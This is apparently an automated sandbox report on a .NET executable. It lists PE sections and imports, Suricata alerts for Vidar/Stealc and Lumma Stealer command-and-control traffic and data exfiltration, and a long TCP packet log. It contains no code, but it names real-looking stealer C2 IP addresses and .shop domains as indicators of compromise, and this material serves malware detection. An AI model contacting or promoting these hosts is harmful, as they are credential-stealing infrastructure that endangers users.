IMAGE_DIRECTORY_ENTRY_SECURITY	0x62800	0x2628
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x66000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x63b5c	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x61cf4	0x61e00	70e21a1fd08ee996ef42e6767420d306	False	0.9940308708492975	data	7.996013819094471	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x64000	0x5b8	0x600	c5e8314566f7a5f7708391414f4a9092	False	0.4368489583333333	data	4.114126439113982	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x66000	0xc	0x200	a9b332d968f232dba11fe8f8f6bc79d9	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x640a0	0x324	data			0.4552238805970149
RT_MANIFEST	0x643c8	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-25T20:49:21.136999+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49711	5.75.211.162	443	TCP
2024-09-25T20:49:22.491246+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49712	5.75.211.162	443	TCP
2024-09-25T20:49:23.845930+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49713	5.75.211.162	443	TCP
2024-09-25T20:49:25.338035+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49716	5.75.211.162	443	TCP
2024-09-25T20:49:26.028947+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	5.75.211.162	443	192.168.2.5	49716	TCP
2024-09-25T20:49:26.695148+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49718	5.75.211.162	443	TCP
2024-09-25T20:49:27.393872+0200	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST	1	192.168.2.5	49718	5.75.211.162	443	TCP
2024-09-25T20:49:27.394438+0200	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	5.75.211.162	443	192.168.2.5	49718	TCP
2024-09-25T20:49:28.148235+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49719	5.75.211.162	443	TCP
2024-09-25T20:49:29.150359+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49720	5.75.211.162	443	TCP
2024-09-25T20:49:32.332650+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49721	5.75.211.162	443	TCP
2024-09-25T20:49:33.427820+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49722	5.75.211.162	443	TCP
2024-09-25T20:49:34.685045+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49723	5.75.211.162	443	TCP
2024-09-25T20:49:35.933028+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49724	5.75.211.162	443	TCP
2024-09-25T20:49:37.744180+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49725	5.75.211.162	443	TCP
2024-09-25T20:49:39.654390+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49726	5.75.211.162	443	TCP
2024-09-25T20:49:42.396497+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49727	5.75.211.162	443	TCP
2024-09-25T20:49:43.937107+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49728	5.75.211.162	443	TCP
2024-09-25T20:49:45.264457+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49729	5.75.211.162	443	TCP
2024-09-25T20:49:48.264953+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49730	5.75.211.162	443	TCP
2024-09-25T20:49:49.898356+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49731	5.75.211.162	443	TCP
2024-09-25T20:49:51.289908+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49732	5.75.211.162	443	TCP
2024-09-25T20:49:53.617917+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49733	5.75.211.162	443	TCP
2024-09-25T20:49:55.951537+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49734	5.75.211.162	443	TCP
2024-09-25T20:49:58.001164+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49735	5.75.211.162	443	TCP
2024-09-25T20:49:59.306968+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49736	147.45.44.104	80	TCP
2024-09-25T20:50:00.150160+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49737	5.75.211.162	443	TCP
2024-09-25T20:50:01.391853+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49736	147.45.44.104	80	TCP
2024-09-25T20:50:05.211117+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49739	5.75.211.162	443	TCP
2024-09-25T20:50:07.095960+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49742	5.75.211.162	443	TCP
2024-09-25T20:50:08.936631+0200	2056156	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (drawzhotdog .shop)	1	192.168.2.5	63337	1.1.1.1	53	UDP
2024-09-25T20:50:09.426811+0200	2056157	ET MALWARE Observed Win32/Lumma Stealer Related Domain (drawzhotdog .shop in TLS SNI)	1	192.168.2.5	49746	104.21.58.182	443	TCP
2024-09-25T20:50:10.163526+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49746	104.21.58.182	443	TCP
2024-09-25T20:50:10.163526+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49746	104.21.58.182	443	TCP
2024-09-25T20:50:10.492098+0200	2056164	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (gutterydhowi .shop)	1	192.168.2.5	63087	1.1.1.1	53	UDP
2024-09-25T20:50:11.797675+0200	2056165	ET MALWARE Observed Win32/Lumma Stealer Related Domain (gutterydhowi .shop in TLS SNI)	1	192.168.2.5	49747	172.67.132.32	443	TCP
2024-09-25T20:50:13.119749+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49747	172.67.132.32	443	TCP
2024-09-25T20:50:13.119749+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49747	172.67.132.32	443	TCP
2024-09-25T20:50:13.222928+0200	2056162	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (ghostreedmnu .shop)	1	192.168.2.5	56512	1.1.1.1	53	UDP
2024-09-25T20:50:13.732112+0200	2056163	ET MALWARE Observed Win32/Lumma Stealer Related Domain (ghostreedmnu .shop in TLS SNI)	1	192.168.2.5	49748	188.114.97.3	443	TCP
2024-09-25T20:50:14.187569+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49748	188.114.97.3	443	TCP
2024-09-25T20:50:14.187569+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49748	188.114.97.3	443	TCP
2024-09-25T20:50:14.384183+0200	2056160	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (offensivedzvju .shop)	1	192.168.2.5	55767	1.1.1.1	53	UDP
2024-09-25T20:50:14.923785+0200	2056161	ET MALWARE Observed Win32/Lumma Stealer Related Domain (offensivedzvju .shop in TLS SNI)	1	192.168.2.5	49749	188.114.97.3	443	TCP
2024-09-25T20:50:15.397544+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49749	188.114.97.3	443	TCP
2024-09-25T20:50:15.397544+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49749	188.114.97.3	443	TCP
2024-09-25T20:50:15.858641+0200	2056158	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (vozmeatillu .shop)	1	192.168.2.5	53002	1.1.1.1	53	UDP
2024-09-25T20:50:17.454437+0200	2056159	ET MALWARE Observed Win32/Lumma Stealer Related Domain (vozmeatillu .shop in TLS SNI)	1	192.168.2.5	49750	188.114.96.3	443	TCP
2024-09-25T20:50:17.933892+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49750	188.114.96.3	443	TCP
2024-09-25T20:50:17.933892+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49750	188.114.96.3	443	TCP
2024-09-25T20:50:18.948308+0200	2056157	ET MALWARE Observed Win32/Lumma Stealer Related Domain (drawzhotdog .shop in TLS SNI)	1	192.168.2.5	49751	104.21.58.182	443	TCP
2024-09-25T20:50:19.429832+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49751	104.21.58.182	443	TCP
2024-09-25T20:50:19.429832+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49751	104.21.58.182	443	TCP
2024-09-25T20:50:19.533698+0200	2056154	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fragnantbui .shop)	1	192.168.2.5	50295	1.1.1.1	53	UDP
2024-09-25T20:50:20.056408+0200	2056155	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fragnantbui .shop in TLS SNI)	1	192.168.2.5	49752	188.114.97.3	443	TCP
2024-09-25T20:50:20.661658+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49752	188.114.97.3	443	TCP
2024-09-25T20:50:20.661658+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49752	188.114.97.3	443	TCP
2024-09-25T20:50:21.183860+0200	2056152	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (stogeneratmns .shop)	1	192.168.2.5	54644	1.1.1.1	53	UDP
2024-09-25T20:50:21.784126+0200	2056153	ET MALWARE Observed Win32/Lumma Stealer Related Domain (stogeneratmns .shop in TLS SNI)	1	192.168.2.5	49754	188.114.96.3	443	TCP
2024-09-25T20:50:23.258479+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49754	188.114.96.3	443	TCP
2024-09-25T20:50:23.258479+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49754	188.114.96.3	443	TCP
2024-09-25T20:50:23.741943+0200	2056150	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (reinforcenh .shop)	1	192.168.2.5	54607	1.1.1.1	53	UDP
2024-09-25T20:50:24.724830+0200	2056151	ET MALWARE Observed Win32/Lumma Stealer Related Domain (reinforcenh .shop in TLS SNI)	1	192.168.2.5	49756	104.21.77.130	443	TCP
2024-09-25T20:50:25.304678+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49756	104.21.77.130	443	TCP
2024-09-25T20:50:25.304678+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49756	104.21.77.130	443	TCP
2024-09-25T20:50:27.990223+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49762	104.21.51.224	443	TCP
2024-09-25T20:50:27.990223+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49762	104.21.51.224	443	TCP
2024-09-25T20:50:29.636358+0200	2054495	ET MALWARE Vidar Stealer Form Exfil	1	192.168.2.5	49745	45.132.206.251	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 25, 2024 20:49:18.087569952 CEST	49710	443	192.168.2.5	104.102.49.254
Sep 25, 2024 20:49:18.087666988 CEST	443	49710	104.102.49.254	192.168.2.5
Sep 25, 2024 20:49:18.088002920 CEST	49710	443	192.168.2.5	104.102.49.254
Sep 25, 2024 20:49:18.092125893 CEST	49710	443	192.168.2.5	104.102.49.254
Sep 25, 2024 20:49:18.092160940 CEST	443	49710	104.102.49.254	192.168.2.5
Sep 25, 2024 20:49:19.331048012 CEST	443	49710	104.102.49.254	192.168.2.5
Sep 25, 2024 20:49:19.331136942 CEST	49710	443	192.168.2.5	104.102.49.254
Sep 25, 2024 20:49:19.412305117 CEST	49710	443	192.168.2.5	104.102.49.254
Sep 25, 2024 20:49:19.412338972 CEST	443	49710	104.102.49.254	192.168.2.5
Sep 25, 2024 20:49:19.413290024 CEST	443	49710	104.102.49.254	192.168.2.5
Sep 25, 2024 20:49:19.414704084 CEST	49710	443	192.168.2.5	104.102.49.254
Sep 25, 2024 20:49:19.415504932 CEST	49710	443	192.168.2.5	104.102.49.254
Sep 25, 2024 20:49:19.459413052 CEST	443	49710	104.102.49.254	192.168.2.5
Sep 25, 2024 20:49:19.833161116 CEST	443	49710	104.102.49.254	192.168.2.5
Sep 25, 2024 20:49:19.833213091 CEST	443	49710	104.102.49.254	192.168.2.5
Sep 25, 2024 20:49:19.833255053 CEST	443	49710	104.102.49.254	192.168.2.5
Sep 25, 2024 20:49:19.833307981 CEST	49710	443	192.168.2.5	104.102.49.254
Sep 25, 2024 20:49:19.833307981 CEST	49710	443	192.168.2.5	104.102.49.254
Sep 25, 2024 20:49:19.833383083 CEST	443	49710	104.102.49.254	192.168.2.5
Sep 25, 2024 20:49:19.833554029 CEST	49710	443	192.168.2.5	104.102.49.254
Sep 25, 2024 20:49:19.833554029 CEST	49710	443	192.168.2.5	104.102.49.254
Sep 25, 2024 20:49:19.947454929 CEST	443	49710	104.102.49.254	192.168.2.5
Sep 25, 2024 20:49:19.947510004 CEST	443	49710	104.102.49.254	192.168.2.5
Sep 25, 2024 20:49:19.947642088 CEST	49710	443	192.168.2.5	104.102.49.254
Sep 25, 2024 20:49:19.947642088 CEST	49710	443	192.168.2.5	104.102.49.254
Sep 25, 2024 20:49:19.947679996 CEST	443	49710	104.102.49.254	192.168.2.5
Sep 25, 2024 20:49:19.948549986 CEST	49710	443	192.168.2.5	104.102.49.254
Sep 25, 2024 20:49:19.953257084 CEST	443	49710	104.102.49.254	192.168.2.5
Sep 25, 2024 20:49:19.953485012 CEST	443	49710	104.102.49.254	192.168.2.5
Sep 25, 2024 20:49:19.953566074 CEST	49710	443	192.168.2.5	104.102.49.254
Sep 25, 2024 20:49:19.953722954 CEST	49710	443	192.168.2.5	104.102.49.254
Sep 25, 2024 20:49:19.953722954 CEST	49710	443	192.168.2.5	104.102.49.254
Sep 25, 2024 20:49:19.966639996 CEST	49711	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:19.966686964 CEST	443	49711	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:19.967144966 CEST	49711	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:19.967144966 CEST	49711	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:19.967176914 CEST	443	49711	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:20.255314112 CEST	49710	443	192.168.2.5	104.102.49.254
Sep 25, 2024 20:49:20.255399942 CEST	443	49710	104.102.49.254	192.168.2.5
Sep 25, 2024 20:49:21.136842012 CEST	443	49711	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:21.136998892 CEST	49711	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:21.141822100 CEST	49711	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:21.141839027 CEST	443	49711	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:21.142225981 CEST	443	49711	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:21.142306089 CEST	49711	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:21.142672062 CEST	49711	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:21.183453083 CEST	443	49711	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:21.829965115 CEST	443	49711	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:21.830044031 CEST	49711	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:21.830080032 CEST	443	49711	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:21.830123901 CEST	443	49711	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:21.830133915 CEST	49711	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:21.830178022 CEST	49711	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:21.833532095 CEST	49711	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:21.833566904 CEST	443	49711	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:21.836241007 CEST	49712	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:21.836335897 CEST	443	49712	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:21.836453915 CEST	49712	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:21.836682081 CEST	49712	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:21.836715937 CEST	443	49712	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:22.491039991 CEST	443	49712	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:22.491245985 CEST	49712	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:22.492635965 CEST	49712	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:22.492675066 CEST	443	49712	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:22.494757891 CEST	49712	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:22.494772911 CEST	443	49712	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:23.186191082 CEST	443	49712	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:23.186296940 CEST	443	49712	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:23.186347008 CEST	49712	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:23.186382055 CEST	49712	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:23.186728954 CEST	49712	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:23.186753988 CEST	443	49712	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:23.188510895 CEST	49713	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:23.188612938 CEST	443	49713	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:23.188728094 CEST	49713	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:23.188946962 CEST	49713	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:23.188991070 CEST	443	49713	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:23.845726013 CEST	443	49713	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:23.845930099 CEST	49713	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:23.853163004 CEST	49713	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:23.853198051 CEST	443	49713	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:23.856179953 CEST	49713	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:23.856194973 CEST	443	49713	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:24.565445900 CEST	443	49713	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:24.565466881 CEST	443	49713	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:24.565551996 CEST	443	49713	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:24.565567970 CEST	49713	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:24.565675974 CEST	49713	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:24.565901995 CEST	49713	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:24.565946102 CEST	443	49713	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:24.567734957 CEST	49716	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:24.567776918 CEST	443	49716	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:24.567862034 CEST	49716	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:24.568284988 CEST	49716	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:24.568300009 CEST	443	49716	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:25.337939978 CEST	443	49716	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:25.338035107 CEST	49716	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:25.370086908 CEST	49716	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:25.370105982 CEST	443	49716	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:25.373027086 CEST	49716	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:25.373034000 CEST	443	49716	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:26.028717041 CEST	443	49716	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:26.028748035 CEST	443	49716	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:26.028836012 CEST	443	49716	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:26.028983116 CEST	49716	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:26.029634953 CEST	49716	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:26.029654980 CEST	443	49716	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:26.031677008 CEST	49718	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:26.031722069 CEST	443	49718	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:26.031816006 CEST	49718	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:26.032073975 CEST	49718	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:26.032085896 CEST	443	49718	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:26.695044041 CEST	443	49718	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:26.695147991 CEST	49718	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:26.695616007 CEST	49718	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:26.695627928 CEST	443	49718	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:26.698287010 CEST	49718	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:26.698291063 CEST	443	49718	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:27.393968105 CEST	443	49718	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:27.394166946 CEST	443	49718	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:27.394268036 CEST	49718	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:27.394515038 CEST	49718	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:27.394536018 CEST	443	49718	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:27.480465889 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:27.480525017 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:27.480643988 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:27.480978966 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:27.480994940 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:28.145628929 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:28.148235083 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:28.148983002 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:28.148992062 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:28.151034117 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:28.151042938 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:28.151094913 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:28.151107073 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:28.474896908 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:28.474934101 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:28.475017071 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:28.475562096 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:28.475575924 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:29.074438095 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:29.074651957 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:29.074749947 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:29.075073004 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:29.086895943 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:29.086925030 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:29.150178909 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:29.150358915 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:29.151166916 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:29.151176929 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:29.154088020 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:29.154092073 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:29.774370909 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:29.774399996 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:29.774415970 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:29.774518013 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:29.774585962 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:29.774594069 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:29.774625063 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:29.774645090 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:29.774669886 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:29.774674892 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:29.774749041 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.108993053 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.109024048 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.109169006 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.109185934 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.109272957 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.342161894 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.342186928 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.342402935 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.342418909 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.342470884 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.342641115 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.342655897 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.342722893 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.342726946 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.342770100 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.343725920 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.343743086 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.343816996 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.343822002 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.343862057 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.347992897 CEST	443	49720	5.75.211.162	192.168.2.5
